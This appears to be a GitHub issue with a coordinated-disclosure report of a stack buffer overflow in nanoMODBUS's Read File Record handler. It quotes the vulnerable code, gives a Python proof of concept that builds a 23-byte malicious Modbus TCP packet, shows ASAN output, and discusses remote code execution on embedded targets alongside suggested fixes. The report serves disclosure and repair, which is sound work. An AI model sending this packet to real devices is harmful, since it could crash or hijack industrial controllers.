Skip to content

Security: Stack Buffer Overflow in handle_read_file_record (FC 0x14) — potential RCE on embedded targets #120

Description

@wang70880

Security Vulnerability Report: Stack Buffer Overflow in nanoMODBUS Read File Record

Classification: Public (after coordinated disclosure)
Date: 2026-06-29


1. Executive Summary

A stack buffer overflow vulnerability exists in nanoMODBUS's
handle_read_file_record() function at nanomodbus.c:1410.
The function uses a uint8_t response_data_size variable to accumulate
the total response size across multiple sub-requests in Modbus FC 0x14
(Read File Record). When two or more sub-requests specify
record_length = 124 (the maximum allowed value), the accumulated
response size exceeds 255 bytes, causing the uint8_t variable to
overflow. The subsequent write operations (put_1, put_n, swap_regs)
write past the end of the 260-byte nmbs.msg.buf[] stack buffer,
corrupting adjacent stack memory.

A 23-byte Modbus TCP ADU is sufficient to trigger this vulnerability,
which can be delivered over the network to any nanoMODBUS server
implementing FC 0x14.

CVSS 3.1 Score: 7.5 (High)
CWE: CWE-131 (Incorrect Calculation of Buffer Size) / CWE-190 (Integer Overflow or Wraparound)
Attack Vector: Network
Impact: Potential remote code execution, denial of service


2. Vulnerability Details

2.1 Affected Software

Property Value
Project nanoMODBUS
Repository https://github.com/debevv/nanoMODBUS
File nanomodbus.c
Function handle_read_file_record()
Line 1350 (uint8_t overflow) + 1410 (stack buffer overflow)
Latest tested version v1.23.0 (commit 91d6782, 2026-02-01)
Affected versions All versions including FC 0x14 support
Fixed versions None (unfixed as of 2026-06-29)

2.2 Vulnerable Code

There are two compounding bugs:

Bug 1 — uint8_t overflow (line 1350):

static nmbs_error handle_read_file_record(nmbs_t* nmbs) {
    // ...
    uint8_t response_data_size = 0;   // ← BUG: uint8_t wraps at 256

    for (uint8_t i = 0; i < subreq_count; i++) {
        subreq[i].reference_type = get_1(nmbs);
        subreq[i].file_number = get_2(nmbs);
        subreq[i].record_number = get_2(nmbs);
        subreq[i].record_length = get_2(nmbs);

        response_data_size += 2 + (subreq[i].record_length * 2);
        // With record_length=124: += 2 + 248 = 250 per sub-request
        // After 2 sub-requests: 500, but uint8_t wraps to 500 - 256 = 244
    }

After the loop, put_res_header(nmbs, 1 + response_data_size) and
put_1(nmbs, response_data_size) use the overflowed value, writing a
truncated response size. But the actual data written to the buffer uses
the non-overflowed subreq[i].record_length values, so the full data
is still written — far exceeding the 260-byte buf[].

Bug 2 — No bounds checking on put_1 / get_n (lines 50-55, 110-113):

static void put_1(nmbs_t* nmbs, uint8_t data) {
    nmbs->msg.buf[nmbs->msg.buf_idx] = data;  // ← No bounds check
    nmbs->msg.buf_idx++;
}

static uint8_t* get_n(nmbs_t* nmbs, uint16_t n) {
    uint8_t* msg_buf_ptr = nmbs->msg.buf + nmbs->msg.buf_idx;
    nmbs->msg.buf_idx += n;  // ← No bounds check, advances past buf[260]
    return msg_buf_ptr;
}

Neither put_1 nor get_n check whether buf_idx exceeds the
260-byte buffer boundary. Once buf_idx exceeds 260 via the overflowed
response, all subsequent writes corrupt adjacent stack memory.

Bug 3 — Even WITHOUT uint8_t overflow, 2+ sub-requests overflow:

Two sub-requests with record_length=124 produce:

  • 2 + 124*2 + 2 + 124*2 = 500 bytes of response data
  • The 260-byte buffer overflows regardless of the uint8_t variable

The uint8_t overflow simply masks the true response size from the
response header, making the overflow harder to detect by the caller,
but the actual stack corruption happens with or without it.

2.3 Root Cause Analysis

  Sub-request 1: ref_type=0x06, file=1, record=0, length=124 → 250 bytes data
  Sub-request 2: ref_type=0x06, file=1, record=0, length=124 → 250 bytes data
  Total actual data: 500 bytes
  uint8_t response_data_size: (250 + 250) mod 256 = 244 (overflowed)
  buf[] capacity: 260 bytes
  Overflow: 500 - 260 = 240 bytes past buffer end

The validation at line 1379 correctly limits record_length ≤ 124,
but does not check the accumulated response size across sub-requests.

2.4 Call Chain

Network (TCP) → nmbs_server_poll() [nanomodbus.c:1943]
  → handle_req_fc() [nanomodbus.c:1864]
    → handle_read_file_record() [nanomodbus.c:1322]
      → put_1() / get_n() / swap_regs()  ← OVERFLOW

3. Proof of Concept

3.1 Minimal PoC (23 bytes)

import struct

# Modbus TCP ADU header
txn_id = struct.pack('>H', 0x0001)    # Transaction ID
proto_id = struct.pack('>H', 0x0000)  # Protocol ID (Modbus)
unit_id = bytes([0x01])               # Unit ID
fc = bytes([0x14])                     # Function code: Read File Record

# Request data: 2 sub-requests, each 7 bytes
request_data = b''
for _ in range(2):
    request_data += bytes([0x06])        # Reference type (must be 0x06)
    request_data += struct.pack('>H', 1) # File number
    request_data += struct.pack('>H', 0) # Record number
    request_data += struct.pack('>H', 124)  # Record length (max allowed)

request_size_byte = bytes([len(request_data)])  # 0x0E = 14
length = struct.pack('>H', 1 + 1 + 1 + len(request_data))  # Unit + FC + size + data

poc = txn_id + proto_id + length + unit_id + fc + request_size_byte + request_data
with open('poc_nmbus001.bin', 'wb') as f:
    f.write(poc)

Hex dump of the 23-byte PoC:

0001 0000 0011 01 14 0e 06 0001 0000 007c 06 0001 0000 007c

3.2 Build with AddressSanitizer

git clone https://github.com/debevv/nanoMODBUS.git
cd nanoMODBUS

# Build the ASAN harness
mkdir build-asan && cd build-asan
cmake .. \
  -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address,undefined -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
cmake --build . --target fuzz_nanomodbus_harness

3.3 Trigger the Vulnerability

ASAN_OPTIONS=detect_leaks=0 ./fuzz_nanomodbus_harness poc_nmbus001.bin

4. ASAN Stack Trace

nanomodbus.c:51:5: runtime error: index 260 out of bounds for type 'uint8_t[260]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior nanomodbus.c:51:5

nanomodbus.c:101:42: runtime error: index 263 out of bounds for type 'uint8_t[260]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior nanomodbus.c:101:42

=================================================================
==23727==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016f8811ed
    at pc 0x000100581f98 bp 0x00016f8801c0 sp 0x00016f8801b8
READ of size 2 at 0x00016f8811ed thread T0
    #0 0x000100581f94 in swap_regs nanomodbus.c:142
    #1 0x0001005917f0 in handle_read_file_record nanomodbus.c:1410
    #2 0x0001005849e4 in handle_req_fc nanomodbus.c:1864
    #3 0x000100583698 in nmbs_server_poll nanomodbus.c:1943
    #4 0x00010057cea0 in LLVMFuzzerTestOneInput fuzz_nanomodbus_harness.c:191

Address 0x00016f8811ed is located in stack of thread T0 at offset 781 in frame
    #0 0x00010057c8b4 in LLVMFuzzerTestOneInput fuzz_nanomodbus_harness.c:149

  This frame has 3 object(s):
    [32, 88) 'platform_conf' (line 158)
    [128, 240) 'callbacks' (line 166)
    [272, 728) 'nmbs' (line 182) <== Memory access at offset 781 overflows this variable

SUMMARY: AddressSanitizer: stack-buffer-overflow nanomodbus.c:142 in swap_regs
==23727==ABORTING

Key details:

  • Buffer: uint8_t buf[260] inside nmbs_t struct on stack
  • Overflow at offset 781 (728-byte object ends at offset 728, overflow by 53+ bytes)
  • Stack trace confirms: swap_regs reads from buf[260+] via get_nhandle_read_file_record
  • UBSan also fires: index 260 out of bounds for type 'uint8_t[260]'

5. Impact Assessment

5.1 CVSS 3.1 Scoring

Metric Value Rationale
Attack Vector (AV) Network (N) Modbus TCP — remotely reachable
Attack Complexity (AC) Low (L) Single 23-byte packet, no auth needed
Privileges Required (PR) None (N) No authentication in Modbus TCP
User Interaction (UI) None (N) Automatic processing of incoming request
Scope (S) Unchanged (U) Limited to nanoMODBUS process
Confidentiality (C) Low (L) Stack data may leak via response
Integrity (I) Low (L) Stack corruption may enable code execution
Availability (A) High (H) Process crashes (DoS)

CVSS 3.1 Base Score: 7.5 (High)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

5.2 Practical Impact

Scenario Impact
nanoMODBUS TCP server Remote crash (DoS) via 23-byte packet
nanoMODBUS RTU serial Crash if FC 0x14 frame received
Embedded system with nanoMODBUS Potential RCE — stack overflow in embedded often allows code execution (no ASLR, no stack canary)
With AddressSanitizer Clean crash with full stack trace
Without ASAN (production) Stack corruption — behavior undefined, likely crash; possible code execution on embedded targets

5.3 Exploitability Note

On embedded systems (ARM Cortex-M, etc.) where nanoMODBUS is commonly deployed:

  • No ASLR, no stack canaries by default
  • Stack overflow of 240+ bytes allows overwriting return address
  • The swap_regs function reads from overflowed buffer and writes back —
    potentially creating a controlled write primitive
  • Combined with the ability to send arbitrary Modbus packets, this makes
    remote code execution plausible on embedded targets

6. Suggested Fix

6.1 Primary Fix: Use uint16_t + Add Accumulation Check

static nmbs_error handle_read_file_record(nmbs_t* nmbs) {
    // ...
-   uint8_t response_data_size = 0;
+   uint16_t response_data_size = 0;

    for (uint8_t i = 0; i < subreq_count; i++) {
        subreq[i].reference_type = get_1(nmbs);
        subreq[i].file_number = get_2(nmbs);
        subreq[i].record_number = get_2(nmbs);
        subreq[i].record_length = get_2(nmbs);

-       response_data_size += 2 + (subreq[i].record_length * 2);
+       uint16_t subreq_size = 2 + (subreq[i].record_length * 2);
+       if (response_data_size + subreq_size > 252)  // 260 - 8 (header overhead)
+           return NMBS_ERROR_INVALID_REQUEST;
+       response_data_size += subreq_size;
    }

6.2 Defense in Depth: Add Bounds Check to put_1 / get_n

static void put_1(nmbs_t* nmbs, uint8_t data) {
+   if (nmbs->msg.buf_idx >= sizeof(nmbs->msg.buf))
+       return;  // Or return error
    nmbs->msg.buf[nmbs->msg.buf_idx] = data;
    nmbs->msg.buf_idx++;
}

static uint8_t* get_n(nmbs_t* nmbs, uint16_t n) {
+   if (nmbs->msg.buf_idx + n > sizeof(nmbs->msg.buf))
+       return NULL;  // Caller should check
    uint8_t* msg_buf_ptr = nmbs->msg.buf + nmbs->msg.buf_idx;
    nmbs->msg.buf_idx += n;
    return msg_buf_ptr;
}

6.3 Validation Reference: How Other Implementations Handle This

  • FreeModbus: Limits total response size per function code, returns
    MB_EILLSTATE if exceeded
  • libmodbus: Pre-calculates response size and rejects requests that
    would overflow the response buffer

7. Disclosure Timeline

Date Event
2026-06-28 Vulnerability discovered during security research
2026-06-29 Vulnerability verified with ASAN on v1.23.0
2026-06-29 Report submitted via GitHub Issue (security-labeled)
2026-08-13 Planned public disclosure (45-day deadline)
TBD Fix merged and release published
TBD CVE assignment (if applicable)

Note: nanoMODBUS is maintained by a single developer. A shorter 45-day
disclosure timeline is proposed given the project's smaller scope and
faster merge cycle, while still allowing reasonable time for a fix.


8. Reporter Information

Contact: Jerry Wang (Ant Group) — wjcuhk@gmail.com

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions